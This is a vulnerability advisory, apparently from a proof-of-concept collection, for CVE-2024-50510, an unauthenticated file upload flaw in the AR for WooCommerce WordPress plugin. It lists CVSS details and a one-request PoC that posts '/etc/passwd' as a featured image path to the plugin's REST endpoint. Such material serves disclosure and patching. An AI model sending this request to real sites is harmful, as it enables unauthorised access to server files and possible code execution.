AR For Woocommerce <= 6.2 - Unauthenticated Arbitrary File Upload# CVE-2024-50510
AR For Woocommerce <= 6.2 - Unauthenticated Arbitrary File Upload
# Description
The AR for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 6.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
## Details
- **Type**: plugin
- **Slug**: ar-for-woocommerce
- **Affected Version**: 6.2
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-50510
- **Status**: Active
POC
---
```
POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41
{"id":123,"featured_image":"/etc/passwd"}
```
[4.0K] /data/pocs/4eed2bbe4c40097981326b10ce4e2bc7cd8a4e7e
└── [ 854] README.md
0 directories, 1 file